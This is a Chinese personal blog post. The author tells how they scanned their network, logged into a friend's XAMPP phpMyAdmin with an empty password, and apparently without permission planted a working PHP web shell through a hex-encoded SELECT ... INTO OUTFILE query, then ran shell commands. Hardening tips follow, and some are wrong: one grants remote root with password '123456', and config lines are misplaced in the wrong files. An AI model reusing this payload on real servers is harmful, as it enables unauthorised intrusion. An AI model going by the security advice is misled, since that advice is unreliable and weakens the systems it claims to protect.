Mysql提权留后门


MYSQL提权留后门


记录一次关于无聊时对基友MYSQL服务器的提权攻击。

尽管没有完全攻击到对方,并且没有清理痕迹,但是,这里写写简单的防御方式。


0x01.从无聊的nmap扫描开始

今晚无聊时候,本想打开电脑扫下谁连进我wifi,无意间,眼睛一亮看到了一个惊喜。


nmap扫描结果


看到80端口,就有种冲动想要进去,进去后发现forbidden,然后试了试 phpmyadmin,发现直接进去,因为基友用的XAMPP集成环境,一下就猜到空密码。


进入到phpmyadmin


登进去后,就想办法留个后门,搞个木马。注意一下,mysql是以管理员权限运行的,so…

查了下资料,这个很简单,网上很多。

找个一个表进去,用下面那句话,就搞定了。

SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E FROM user into outfile '/Applications/XAMPP/xamppfiles/phpmyadmin/fuck.php'

那一串字符就是 <?php system($_REQUEST[cmd]);?> 的十六进制编码了,只要路径对,就ok了。

进去以后,只要访问 /phpmyadmin/fuck.php?cmd= 就能直接打terminal命令了。


直接打terminal命令的结果


可以看到我输入ls /输出了跟目录下面的文件和文件夹。

这个时候,如果是win党,来个中国菜刀!!!啊啊啊,条子!!带走!!!




0x02.关于Xampp安全(MAC环境)

下面说下个人经历,关于MAC下,xampp环境的安全处理。

A.关闭phpmyadmin远程登录

vim /Applications/XAMPP/xamppfiles/etc/extra/http-xmapp.conf

在最底下添加访问权限,以及关闭修改权限。

<LocationMatch "^/(?i:(?:xampp|security|licenses|phpmyadmin|webalizer|server-status|server-info))">
    Require local
    ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
</LocationMatch>


B.关闭Http远程访问权限

vim /Applications/XAMPP/xamppfiles/apache2/conf/httpd.conf

<Directory "/Applications/XAMPP/xamppfiles/apache2/htdocs">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Deny from all #拒绝远程访问
</Directory>


C.关于Mysql文件写入权限

这里不是所有都能写入的,只要关闭了用户写入权限,就不能写入木马了。这个时候,就需要对xampp配置做处理下。

这是我本地测试:


mysql写入权限


关闭mysql写入文件权限(我本地的):

vim /Applications/XAMPP/xamppfiles/etc/extra/http-xmapp.conf

# since XAMPP 1.4.3
<Directory "/Applications/XAMPP/xamppfiles/phpmyadmin">
    AllowOverride AuthConfig Limit
    Require all granted
</Directory>

不管怎么样,反正记得,创建的文件夹,非不得已,不要 chmod 777,特别是upload等目录,注意防范。


D.修改Mysql密码

1、进入到phpmyadmin后,直接执行SQL语句:

update user set password=password('123456') where User='root'

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

2、直接修改

vim /Applications/XAMPP/xamppfiles/etc/my.conf

找到19行:

password = your_password




0x03.关于xmapp的一些环境

1、端口占用问题(最常见的)

Http 80端口configure在:

/Applications/XAMPP/xamppfiles/etc/httpd.conf

52行:

Mysql 3306端口configure在:

/Applications/XAMPP/xamppfiles/etc/my.conf

20行

2、添加vhost

/Applications/XAMPP/xamppfiles/etc/extra/http-vhost.conf

3、配置Mysql缓存大小

大多数的MySQL服务器都开启了查询缓存。这是提高性最有效的方法之一,而且这是被MySQL的数据库引擎处理的。当有很多相同的查询被执行了多次的时候,这些查询结果会被放到一个缓存中,这样,后续的相同的查询就不用操作表而直接访问缓存结果了。

/Applications/XAMPP/xamppfiles/etc/httpd.conf

最后面:

[isamchk]
key_buffer = 20M
sort_buffer_size = 20M
read_buffer = 2M
write_buffer = 2M




本文出自 夏日小草,转载请注明出处:http://homeway.me/2014/12/27/hack-mysql/


-by小草

2014-12-27 02:46:38

Fork me on GitHub